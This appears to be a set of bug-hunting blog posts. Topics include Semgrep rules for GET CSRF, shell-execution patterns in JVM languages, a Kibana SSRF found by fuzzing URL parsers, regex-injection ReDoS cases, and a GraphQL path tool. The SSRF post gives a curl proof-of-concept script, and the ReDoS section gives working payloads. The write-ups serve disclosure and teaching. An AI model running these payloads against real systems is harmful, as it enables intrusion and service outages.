https://docs.google.com/presentation/d/1zuB920nmw4UtKP3ZsHoUT9Eqi04NVLD7upWK6C9Vmhg

I will update this post when the recording is posted on YouTube.

Cross-site request forgery (CSRF) on GET requests

Most mature web applications and frameworks will handle CSRF protections on POST/PUT/DELETE requests automatically, however GET requests are not supposed to do any state changing actions and have no CSRF projections. That’s where errors can slip in¹! To quickly check for GET CSRF I like to grep through all the GET (or even HEAD) routes and look for action words like create, update, delete, etc. It’s a basic heuristic but it works well enough to catch mistakes and low-hanging fruits.

Ungreppable patterns

In some frameworks, like Ruby on Rails for example, route definitions are mostly one-liners:

get 'profile', action: :show, controller: 'users'

However some patterns are more complicated like this example from Kibana:

  router.get(
    {
      path: '/internal/app_search/log_settings',
      validate: false,
    },
    enterpriseSearchRequestHandler.createRequest({
      path: '/as/log_settings',
    })
  );

This is where Semgrep will help.

One might say that the code snippet above isn’t too bad and could be grepped if we included some newlines in the regex, however the path isn’t always in the same place and a Semgrep rule is much more reliable.

Workflow for building a rule

I want to match routes defined as in the snippet above where the first path sounds like a state-changing action.

Knowing the tool

The first part of the workflow is to actually know the tool you’re working with! Read the documentation about writing rules so you know the features at your disposition. From reading the documentation, I know that metavariable-regex is going to be useful to me here.

Using the playgroud

Semgrep.live is a playground where you can quickly test your rules with the latest version of Semgrep from the comfort of your browser. (Note: I wrote this a few months ago and the editor doesn’t look the same anymore! The workflow still works, don’t worry about it)

Let’s start a new rule by setting TypeScript as the target programming language and pasting the Kibana code from the beginning of this blog post.

What I’m lookin for here are path: "something" patterns inside a router.get(...) call so I will express that in semgrep terms. The semgrep code is very close to the sentence I just wrote!

It matches both occurences of path but that’s perfectly fine. Here’s a quick breakdown of how the rule works, but really, read the documentation. :)

• ... works a bit like .* would in a regular expression; it will match anything and conveniently looks a lot like what someone would intuitively write to express that idea in a sentence
• “and is inside” (or pattern-inside as we’ll see soon) tells Semgrep to look for the path: pattern only in specific places
• $PATH in path: $PATH tells Semgrep that I want whatever is assigned to path to be saved in the $PATH variable

We’re almost there already! The most important part is missing however, actually matching only on action names that “sound” state-changing. To do this, let’s switch to the Advanced tab of the playground. While I’m there I’ll give a meaningful id to my rule and will set languages to be TypeScript and JavaScript because both are used in Kibana.

This is where having read the documentation (have I mentioned that already?) is going to pay off, otherwise things might start looking a little cryptic. The playground is now showing the YAML representation of the rule I was writing over in the Simple tab. A few things to take note of:

• “code is path: $PATH” was translated to

    - pattern: |
        path: $PATH
  

  Starting a value with | is one of the many many (too many) ways to define a string in YAML. -pattern: "path: $PATH" would have been equivalent but as patterns are frequently multi-line the | way to express strings is useful.

• “and is inside router.get(...)” was translated to

    - pattern-inside: router.get(...)
  

• Both of those are nested under patterns which allows you to use multiple patterns and apply a logical “and” to all of them. pattern-either exists when an “or” is desired and they can be combined and nested at will.
• There’s a message attribute that semgrep will print when it finds a match.
• There’s a severity as well, I’ll keep WARNING here given that this isn’t going to be void of false positives, but I might use ERROR when I’m really confident in a rule.

For the last part, I want Semgrep to find action words in the last segment of the path present in $PATH.

The documentation for metavariable-regex mentions the following:

The metavariable-regex operator searches metavariables for a Python re compatible expression. This is useful for filtering results based on a metavariable’s value. It requires the metavariable and regex keys and can be combined with other pattern operators.

This is precisely what I’m looking for. metavariable is $PATH and regex is ^.*/[^/]*(create|update|delete)[^/]*$ (see it in action on regex101 if you’re not super comfortable with regular expressions yet).

It didn’t match anything in my code snippet (which was expected) so I added another one with a made-up vulnerable pattern to validate that it works.

To polish things up I changed the message to message: Check $PATH for GET CSRF and Semgrep will replace the value of $PATH with the actual path in the output.

This is what the final rule looks like:

rules:
- id: kibana_get_csrf
  patterns:
    - pattern: |
        path: $PATH
    - pattern-inside: router.get(...)
    - metavariable-regex:
        metavariable: $PATH
        regex: ^.*/[^/]*(create|update|delete)[^/]*$
  message: Check $PATH for GET CSRF
  languages: [ts, js]
  severity: WARNING

My real rule has more words for the “action word” regex but I leave that as an exercise to the reader.

Use your rule

Now that the rule is written, it’s time to use it! Save the rule in a file and run Semgrep (output slighly trimmed to keep only the relevant bits):

$ semgrep scan --config kibana_get_csrf.yml --metrics off
 x-pack/plugins/enterprise_search/server/routes/app_search/curations.ts
     kibana_get_csrf
        Check '/internal/app_search/engines/{engineName}/curations/find_or_create' for GET CSRF


        110┆ path: '/internal/app_search/engines/{engineName}/curations/find_or_create',
          ⋮┆----------------------------------------
     kibana_get_csrf
        Check '/as/engines/:engineName/curations/find_or_create' for GET CSRF


        121┆ path: '/as/engines/:engineName/curations/find_or_create',


 x-pack/plugins/enterprise_search/server/routes/workplace_search/sources.ts
     kibana_get_csrf
        Check '/internal/workplace_search/sources/create' for GET CSRF


        924┆ path: '/internal/workplace_search/sources/create',
          ⋮┆----------------------------------------
     kibana_get_csrf
        Check '/ws/sources/create' for GET CSRF


        942┆ path: '/ws/sources/create',

And we have two findings! The second one isn’t a CSRF, it’s part of an OAuth flow and there’s a CSRF token passed as a query parameter but the first finding was indeed a real CSRF. It was reported to the Elastic bug bounty program and was fixed in version 8.4.0 by changing the route to require POST.

Conclusion

With this quick walkthrough I hope that you can feel more confident to start using Semgrep. It’s a really fun tool that sits in between grep and more in-depth code analysis tools like CodeQL. Their support for certain languages isn’t quite there yet, but report all the bugs you find and contribute to making it better. There’s an easy link to report bugs in the playground. I’ve reported a few myself and the team is always super helpful.

PS: I know I kind of sound like I was sponsored to write this, but I swear I’m not affiliated with Semgrep or the company making it (r2c). :)

1: GraphQL APIs can be another interesting vector for CSRF but I won’t cover that here

Java is our baseline here. In this language we’d normally look for Runtime.getRuntime().exec(command) or usage of the Process or ProcessBuilder classes. Let’s see how the other languages do it. Keep in mind that all JVM languages generally have a way to call standard Java classes so what’s shown below should be seen as a supplement and not a replacement.

This is not an exhaustive list as there are many JVM languages but I reviewed the most popular ones.

Note: I’m competent in exactly none of those languages and gathered the information on how to execute shell commands by reading some documentation. I don’t know how idiomatic these things are but they exist.

Kotlin

Kotlin is the language of choice for Android development but it can also be used in other contexts. Reverse engineers rejoice: it’s the language in this list that’s the most similar to standard Java and invoking shell commands uses the exact same classes.

Nothing to see here, moving along.

Groovy

Groovy seems to have an implicit conversion of a string to a process with the execute method.

println "whoami".execute().text

I tried decompiling with jd-cli and procyon and both seemed to struggle, with the latter having the most complete output (shown below). It seemed to me like the actual code that would hint towards a shell command being invoked was missing however so I looked at the bytecode instead.

import org.codehaus.groovy.runtime.callsite.CallSiteArray;
import org.codehaus.groovy.runtime.ScriptBytecodeAdapter;
import groovy.lang.MetaClass;
import org.codehaus.groovy.runtime.callsite.CallSite;
import groovy.lang.GroovyObject;
import org.codehaus.groovy.runtime.InvokerHelper;
import groovy.lang.Binding;
import java.lang.ref.SoftReference;
import org.codehaus.groovy.reflection.ClassInfo;
import groovy.lang.Script;

//
// Decompiled by Procyon v0.6.0
//

public class test extends Script
{
    private static /* synthetic */ SoftReference $callSiteArray;

    public test() {
        $getCallSiteArray();
    }

    public test(final Binding context) {
        $getCallSiteArray();
        super(context);
    }

    public static void main(final String... args) {
        $getCallSiteArray()[0].callStatic((Class)InvokerHelper.class, (Object)test.class, (Object)args);
    }

    public Object run() {
        final CallSite[] $getCallSiteArray = $getCallSiteArray();
        return $getCallSiteArray[1].callCurrent((GroovyObject)this, $getCallSiteArray[2].callGetProperty($getCallSiteArray[3].call((Object)"whoami")));
    }

    private static /* synthetic */ CallSiteArray $createCallSiteArray() {
        final String[] array = new String[4];
        $createCallSiteArray_1(array);
        return new CallSiteArray((Class)test.class, array);
    }

    private static /* synthetic */ CallSite[] $getCallSiteArray() {
        CallSiteArray $createCallSiteArray;
        if (test.$callSiteArray == null || ($createCallSiteArray = test.$callSiteArray.get()) == null) {
            $createCallSiteArray = $createCallSiteArray();
            test.$callSiteArray = new SoftReference($createCallSiteArray);
        }
        return $createCallSiteArray.array;
    }
}

In the bytecode we can find the definition for $createcallSiteArray_1 that decompilers appear to miss.

     private static synthetic void $createCallSiteArray_1(java.lang.String[] arg0) { //([Ljava/lang/String;)V
             aload 0
             ldc 0 (java.lang.Integer)
             ldc "runScript" (java.lang.String)
             aastore
             aload 0
             ldc 1 (java.lang.Integer)
             ldc "println" (java.lang.String)
             aastore
             aload 0
             ldc 2 (java.lang.Integer)
             ldc "text" (java.lang.String)
             aastore
             aload 0
             ldc 3 (java.lang.Integer)
             ldc "execute" (java.lang.String)
             aastore
             return
     }

I’m showing only that method definition because the bytecode in general is very verbose, but that seems to load the name of the methods that are going to be invoked at runtime so if you’re reversing a Groovy app, grepping for ldc "execute" (java.lang.String) in the bytecode might be a good idea!

Scala

In Scala it’s possible to call ! or !! on strings to execute them as shell commands. ! prints the output on stdout and returns the exit code while !! returns the command output as a string.

import scala.sys.process._

object Main {
  def main(args: Array[String]) {
    "whoami".!
    "uname -a".!!
  }
}

Those can easily be identified as $bang and $bang$bang and I have to say that I absolutely love that.

import scala.sys.process.package$;

//
// Decompiled by Procyon v0.6.0
//

public final class Main$
{
    public static final Main$ MODULE$;

    static {
        new Main$();
    }

    public void main(final String[] args) {
        package$.MODULE$.stringToProcess("whoami").$bang();
        package$.MODULE$.stringToProcess("uname -a").$bang$bang();
    }

    private Main$() {
        MODULE$ = this;
    }
}

Clojure

Clojure is a Lisp dialect and the biggest departure from Java’s syntax.

(ns test.core)
(require '[clojure.java.shell :as shell])

(defn -main [& args]
  (shell/sh "uname" "-a"))

This is another one that’s fairly easy to identify in the decompiled output, grepping for clojure.java.shell should get you what you’re looking for.

//
// Decompiled by Procyon v0.6.0
//

package test;

import clojure.lang.RT;
import clojure.lang.IFn;
import clojure.lang.ISeq;
import clojure.lang.Var;
import clojure.lang.RestFn;

public final class core$_main extends RestFn
{
    public static final Var const__0;

    public static Object invokeStatic(final ISeq args) {
        return ((IFn)core$_main.const__0.getRawRoot()).invoke((Object)"uname", (Object)"-a");
    }

    public Object doInvoke(final Object o) {
        return invokeStatic((ISeq)o);
    }

    public int getRequiredArity() {
        return 0;
    }

    static {
        const__0 = RT.var("clojure.java.shell", "sh");
    }
}

Conclusion

This “article” was fairly low on words and was meant more as a reference I can come back to whenever I reverse an application written in any of those languages (reversing a Scala application actually prompted me to write this). I figured I’d make this public instead of keeping it in my notes so everyone can benefit. I hope it can be useful to you as well! Happy hunting.

References & tools

• procyon
• jd-cli
• Bytecode Viewer
• Repository with the code and compiling process

Kibana alerting and actions

Kibana has an alerting feature that allows users to trigger an action when certain conditions are met. There’s a variety of actions that can be chosen like sending an email, opening a ticket in Jira or sending a request to a webhook. To make sure this doesn’t become SSRF as a feature, there’s an xpack.actions.allowedHosts setting where users can configure a list of hosts that are allowed as webhook targets.

Parser differential

Parsing URLs consistently is notoriously difficult and sometimes the inconsistencies are there on purpose. Because of this, I was curious to see how the webhook target was validated against the xpack.actions.allowedHosts setting and how the URL was parsed before sending the request to the webhook. Is it the same parser? If not, are there any URLs that can appear fine to the hostname validation but target a completely different URL when sending the HTTP request?

After digging into the webhook code, I coud identify that hostname validation happens in isHostnameAllowedInUri. The important part to notice is that the hostname is extracted from the webhook’s URL by doing new URL(userInputUrl).hostname.

function isHostnameAllowedInUri(config: ActionsConfigType, uri: string): boolean {
  return pipe(
    tryCatch(() => new URL(uri)),
    map((url) => url.hostname),
    mapNullable((hostname) => isAllowed(config, hostname)),
    getOrElse<boolean>(() => false)
  );
}

On the other hand, the library that sends the HTTP request uses require('url').parse(userInputUrl).hostname to parse the hostname.

var url = require('url');

// ...

// Parse url
var fullPath = buildFullPath(config.baseURL, config.url);
var parsed = url.parse(fullPath);

// ...

options.hostname = parsed.hostname;

After reading some documentation, I could validate that those were effectively two different parsers and not just two ways of doing the same thing. Very interesting! Now I’m looking for a URL that is accepted by isHostnameAllowedInUri but results in an HTTP request to a different host. In other words, I’m looking for X where new URL(X).hostname !== require('url').parse(X).hostname and this is where the fuzzing comes in.

Fuzzing for SSRF

When you’re looking to generate test strings without going all in with coverage guided fuzzing like AFL or libFuzzer, radamsa is the perfect solution.

Radamsa is a test case generator for robustness testing, a.k.a. a fuzzer. It is typically used to test how well a program can withstand malformed and potentially malicious inputs. It works by reading sample files of valid data and generating interestringly different outputs from them.

The plan was the following:

1. Feed a normal URL to radamsa as a starting point
2. Parse radamsa’s output using both parsers
3. If both parsed hostnames are different and valid, save that URL

Here’s the code used to do the fuzzing and validate the results:

const child_process = require('child_process');
const radamsa = child_process.spawn('./radamsa/bin/radamsa', ['-n', 'inf']);
radamsa.stdin.setEncoding('utf8');
radamsa.stdin.write("user:pass@domain.com:23/?ab=12#")
radamsa.stdin.end()

radamsa.stdout.on('data', function (input) {
    input = 'http://' + input

    // Resulting host names need to be valid for this to be useful
    function isInvalid(host) {
        return host === null || host === '' || !/^[a-zA-Z0-9.-]+$/.test(host1);
    }

    let host1;
    try {
        host1 = new URL(input).hostname;
    } catch (e) {
        return; // Both hosts need to parse
    }

    if (isInvalid(host1)) return;
    if (/^([0-9.]+)$/.test(host1)) return; // host1 should be a domain, not an IP

    let host2;
    try {
        host2 = require('url').parse(input).hostname;
    } catch (e) {
        return; // Both hosts need to parse
    }

    if (isInvalid(host2)) return;
    if (host1 === host2) return;

    console.log(
        `${encodeURIComponent(input)} was parsed as ${host1} with URL constructor and ${host2} with url.parse.`
    );
});

There are some issues with that code and I think the stdin writer might have trouble handling null bytes, but nevertheless after a little while this popped up (the output was URL-encoded to catch non-printable characters):

http%3A%2F%2Fuser%3Apass%40domain.com%094294967298%2F%3Fab%3D- was parsed as domain.com4294967298 with URL constructor and domain.com with url.parse.

With the original string containing the hostname domain.com<TAB>4294967298, one parser stripped the tab character and the other truncated the hostname where the tab was inserted. This is very interesting and can definitely be abused: imagine a webhook that requires the target to be yourdomain.com, but when you enter yourdomain.co<TAB>m the filter thinks it’s valid but the request is actually sent to yourdomain.co. All the attacker has to do is register that domain and point it to 127.0.0.1 or any other internal target and it makes for a fun SSRF.

The attack

This is exactly what could be achived in Kibana.

1. Assume the xpack.actions.allowedHosts setting requires webhooks to target yourdomain.com
2. As the attacker, register yourdomain.co
3. Add a DNS record pointing to 127.0.0.1 or any other internal IP
4. Create a webhook action
5. Use the API to send a test message to the webhook and specify the url yourdomain.co<TAB>m
6. Observe the response, in this case there were 3 different responses allowing to differentiate a live host, a live host that responds to HTTP requests and a dead host

Here’s the script used to demonstrate the attack.

kibana_url="https://localhost:5601/"
creds="elastic:changeme"

# The \t is important
ssrf_target="http://yourdomain.co\tm"

# Create Webhook Action
connector_id=$(curl -sk -u "$creds" --url "$kibana_url/api/actions/action" -X POST -H 'Content-Type: application/json' -H 'kbn-xsrf: true' \
    -d '{"actionTypeId":".webhook","config":{"method":"post","hasAuth":false,"url":"'$ssrf_target'","headers":{"content-type":"application/json"}},"secrets":{"user":null,"password":null},"name":"'$(date +%s)'"}' |
    jq -r .id)

# Send request to target using the test function
curl -sk -u "$creds" --url "$kibana_url/api/actions/action/$connector_id/_execute" -X POST -H 'Content-Type: application/json' -H 'kbn-xsrf: true' \
    -d '{"params":{"body":"{\"arbitrary_payload_here\":true}"}}'

# Server should have received the request

Impact

Unfortunately, the resulting URL with the bypass is a bit mangled as we can see from this output taken from the NodeJS console:

> require('url').parse("htts://example.co\x09m/path")
Url {
  protocol: 'htts:',
  slashes: true,
  auth: null,
  host: 'example.co',
  port: null,
  hostname: 'example.co',
  hash: null,
  search: null,
  query: null,
  pathname: '%09m/path',
  path: '%09m/path',
  href: 'htts://example.co/%09m/path' }

The part that is truncated from the hostname is just pushed to the path and make it hard to craft any request that can achieve more than the basic internal network/port scan. However, if the parsers’ roles had been inverted and new URI had been used for the request instead I would have had a clean path and much more potential for exploitation with a fully controlled path and POST body. Certainly this situation comes up somewhere, let me know if you come across something like that and are able to exploit it!

Conclusion

A few things to take away from this:

• When reviewing code, any time data is parsed for valiation make sure it’s parsed the same way when it’s being used
• Fuzzing with radamsa is simple and quick to setup, a great addition to any bug hunter’s toolbet
• If you’re doing blackbox testing and facing hostname validations in a NodeJS envioronment, try to add some tabs and see where that leads

Thanks for reading!

(This was disclosed with permission)

The OWASP top 10 lists injection vulnerabilities as the #1 web application security risk and describes them as such:

Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

Regular expression (regex) injection doesn’t get a callout, but it’s part of that category and looking for it can be fairly simple.

Before we go further, I’d note that I’m going to assume the reader is familiar with regular expressions in this blog. If it’s not the case regular-expression.info and regex101.com are great resources, but in my opinion this is really something you learn by doing so go ahead and grep all the things to get better! :)

What’s the risk

Why even look for that type of vulnerability? It’s true that regex injection is generally a lot less severe than the other injection bugs. The danger of this vulnerability is regular expression denial of service. Follow that link if you’re not familiar with ReDoS, but the general idea is that regex injection allows the attacker to create a regex that performs extremely poorly on purpose, causing the process to hang. While this will not allow an attacker to leak customer data or shell a server, it can slow down or even take down a service and if the vulnerability happens in something like an AWS Lambda it can create a very large bill.

How to find it

Similar to all injection vulnerabilities, a regex injection happens when user input is used, unsanitized, to create a regular expression. What makes it a bit easier to spot than many other injection vulnerabilities however is that there are usually very few sinks.

❓ If you’re not familiar with the concept of sources and sinks, watch this video by LiveOverflow for a quick intro.

In general, regular expressions are defined either with a regex literal if the language supports it (Ruby, PHP, JavaScript, Perl and more)

# ruby
regex = /regex/

with an inline string

// C#
var regex = new System.Text.RegularExpressions.Regex("regex");

or with a reference to a constant

// TypeScript
const REGULAR_EXPRESSION = "regex";
let regex = new RegExp(REGULAR_EXPRESSION)

While those can be vulnerable to ReDoS (that’s a blog post in itself), they’re definitely not vulnerable to regular expression injection and you can ignore all those declaration “patterns” when looking at the code for this type of vulnerability.

The interesting declaration patterns you want to look for are those with a variable (as opposed to a constant)

// JavaScript
function apiAction(arg1) {
    let regex = new RegExp(arg1 + 'some-suffix$');
    // ... regex is used later
}

or languages that support interpolation inside a regex literal

# ruby
def api_action(arg1)
  regex = /#{arg1}some-suffix$/
  # ... regex is used later
end

How to exploit it

To demonstrate exploitation, here are a few examples I found and reported

❗ Testing for denial of service issues can have bad consequences on a live system. Given that you’re doing code review here, run the application locally and test only on your local version.

GitLab

Public issue on GitLab.com: Regular Expression Denial of Service in Elastic search results

When processing results from a code search, GitLab would use this code:

      def self.parse_search_result(result, project)
        ref = result["_source"]["blob"]["commit_sha"]
        path = result["_source"]["blob"]["path"]
        extname = File.extname(path)
        basename = path.sub(/#{extname}$/, '')

The code here is creating a regular expression with a file’s extension to strip the extension from the file name. If a file is named file.txt, the regular expression /.txt$/ is created. The file here however is a file pushed to a repository by a user, so it’s user input.

To exploit this, an attacker can create a file named aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab.(a+)+ with content SEARCH_ME_REGEX_DOS_ISSUE and then search for SEARCH_ME_REGEX_DOS_ISSUE which triggers the code above. The regex /.(a+)+$/ will be created and when executed against the filename aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab.(a+)+ it will cause a regular expression denial of service.

The fix was simply to not use regular expressions when stripping the extension from the path.

Public bug bounty program that doesn’t disclose bugs

This application stored data in a JSON file with a format like this

{
    "property:name1": "value1",
    "property:name2": "value1",
    "otherKey": "other value"
}

During a specific operation, it would iterate through the keys and run the following (slightly modified) code

if key.match( /^property:#{get_prefix( input )}\/(.*)$/ )
  props.merge!( $1 => value )
elsif key.match( /^property:#{get_prefix( input )}(\0.*)$/ )
  props.merge!( $1 => value )
else
  props
end

It was possible to name a certain object in that application with the name a{1}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab|(a{0,}){0,}$| which created this in the JSON file:

{
    "property:a{1}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab|(a{0,}){0,}$|": "value1"
}

and cause the code above to run the regex /^property:a{1}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab|(a{0,}){0,}$|\/(.*)$/

Why the a{1}? Because without it /^property:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab|(a{0,}){0,}$|\/(.*)$/ would have actually matched the string "property:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab|(a{0,}){0,}$|" without problem.

Shoutout to P4nda who collaborated with me on this, we found several instances of this vulnerable pattern in that application.

The fix here was to use Regexp.escape.

Private bug bounty program

I like this last one because it’s a fairly common pattern. Many applications implement a feature where you can use * as a wildcard to search for things. For example if you want to build an API where searching for dee* should return both dee-see and deesee, you could create a regex from user input and change the * to .*. By now you might understand where this is going.

This API allowed the user to search if a job with a certain ID exists (ID here is any string, not limited to numbers). The code (mostly) looked like this:

   async function jobsExist(jobIds: string[] = []) {
     const { body } = await internalApi.getJobs<JobsResponse>({
       job_id: jobIds.join(),
     });

     const results: { [id: string]: boolean } = {};
     if (body.count > 0) {
       const allJobIds = body.jobs.map((job) => job.job_id);

       jobIds.forEach((jobId) => {
         const regexp = new RegExp(`^${jobId.replace(/\*+/g, '.*')}$`);
         const exists = allJobIds.some((existsJobId) => regexp.test(existsJobId));
         results[jobId] = exists;
       });
     } else {
       jobIds.forEach((jobId) => {
         results[jobId] = false;
       });
     }

     return results;
   }

Here an attacker could create a job named aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab and then search for job IDs ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab", "(a+)+"]. The internalApi call would return the existing aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab job and then execute the regex ^(a+)+$ on it, causing the ReDoS.

Fun fact: this was actually redundant code, the internal API called at the beginning handled wildcards correctly and no regex filtering needed to be applied at all. The fix was basically to remove this code!

Note on exploitability

Some languages are not vulnerable to ReDoS! Without going too deep into the technical details in this blog post, ReDoS is caused by regex backtracking and some regex engines don’t support that at all. Rust and golang’s default regex engines aren’t vulnerable and other languages might use a non-default engine like re2 (through a 3rd party dependency) that’s not vulnerable. Make sure the code base you are reviewing can actually be exploited!

Regex injection RCE?

PHP had an e flag in regular expressions (deprecated in PHP 5.5.0, removed in 7.0.0) that evaluated the replacement in preg_replace as PHP code. See this blogpost for more details.

Avoiding this bug

If there’s an easy way to do the job without regex then you should consider using it (for example use a “starts with” function rather than building a regex with user input to check if a string begins with a given prefix). Otherwise, most programming languages will have a built-in function to escape special characters in a string before using it as a regex. See for example Regex.Escape in C# or Regexp.escape in Ruby. Unfortunately, the proposal for a similar function in JavaScript wasn’t accepted…

Conclusion

Regular expression injection is a fairly widespread bug that many people don’t pay attention to. It’s not the most critical finding, but it’s a fun one to look for, it’s fairly “greppable”, and if you’re getting into source code review for fun or bounties (or both!) you might want to add that to your arsenal.

Let’s imagine the following GraphQL schema

In an ideal scenario (from the developer’s perspective) the permission checks would be done on the object level, which means that no matter the path you take to reach Foo, it’s Foo that’s responsible for checking if you’re allowed to load it and not the Root or Bar objects as they load Foo. This is how GitLab does it and from what I can tell that’s also how HackerOne does it.

Some other websites however will program their authorization logic in the code that fetches the object, this means the authorization logic might have flaws in one path but not in another one. Applied to the schema above, Root -> Foo might be checked properly but Root -> Bar -> Foo might not check for permissions at all. It’s fairly easy to figure out all the paths in my FooBar schema, however some schemas are very complicated and tooling would help to figure out all the possible paths.

This is where my new tool with a very original name comes in: graphql-path-enum. Given that most graphs have loops and have an infinite amount of paths, the tool doesn’t list them all, but it does a relatively exhaustive listing nonetheless.

$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (skills) -> Skill
- Query (report) -> Report (bounties) -> Bounty (invitations) -> InvitationsClaimBounty (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (report_retest_user) -> ReportRetestUser (invitation) -> InvitationsRetest (report) -> Report (bounties) -> Bounty (invitations) -> InvitationsClaimBounty (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (skills) -> Skill
- Query (sla_statuses) -> SlaStatus (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (triage_inbox_items) -> TriageInboxItem (report) -> Report (bounties) -> Bounty (invitations) -> InvitationsClaimBounty (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (users) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (webhook) -> Webhook (created_by) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill

$ graphql-path-enum --help
graphql-path-enum 1.0
dee-see (https://gitlab.com/dee-see/graphql-path-enum)
Use this tool to list the different paths that lead to one object in a GraphQL schema.

USAGE:
    graphql-path-enum [FLAGS] --introspect-query-path <FILE_PATH> --type <TYPE_NAME>

FLAGS:
        --expand-connections    Expand connection nodes (with pageInfo, edges, etc. edges), they are skipped by default
    -h, --help                  Prints help information
    -V, --version               Prints version information

OPTIONS:
    -i, --introspect-query-path <FILE_PATH>    Path to the introspection query result saved as JSON
    -t, --type <TYPE_NAME>                     The type to look for in the graph.

It’s open source and can be found here. Let me know if there are issues or cool features that could be added. It’s my first time writing in Rust so it might not be perfect, code reviews accepted and appreciated!

Happy hacking!

Last update: 2022-10-16

Aggregators, news feeds, twitter threads, etc.

Come back to those every now and then to see if they have new content!

• “android” HackerOne Hacktivity
• Twitter thread with tons of great links
• Android-Reports-and-Resources GitHub repository
• awesome-mobile-security GitHub repository
• Android_Security repository
• #AndroidHackingMonth (HackerOne’s Android Hacking Month in February 2020)
• AllThingsAndroid GitHub repository
• Android Partner Vulnerability Initiative bug tracker (details of bugs specific to the Android OEM code)
• Oversecured blog and HackerOne profile

Videos

• jiska - Finding and Backtracing Signal Messages on Android (Shows how to use frida-trace)
• Maddie Stone - Securing the System: A Deep Dive into Reversing Android Pre-Installed Apps
• Baptiste Robert aka fs0c131ty - L’histoire de la découverte d’une backdoor signée OnePlus (It’s in French)
• Ben Actis - Advanced Android Bug Bounty skills
• Yekaterina Tsipenyul O’Neil & Erika Chin - Seven Ways to Hang Yourself with Google Android (From 2011 but still interesting to this day)
• Dawn Isabel - Fun with Frida on Mobile (It’s for iOS but the same ideas can be used on Android)
• Sebastian Porst & Google Play - Overview of common Android app vulnerabilities
• Nikita Stupin - Vulnerabilities of mobile OAuth 2.0
• B3nac - Android Hacking
• B3nac - Android Application Exploitation
• B3nac - Exploiting Android deep links and exported components
• Maddie Stone - Android App Reverse Engineering Workshop (part 1, part 2)

Write-ups, guides and blog articles

• Proxying Android app traffic – Common issues / checklist
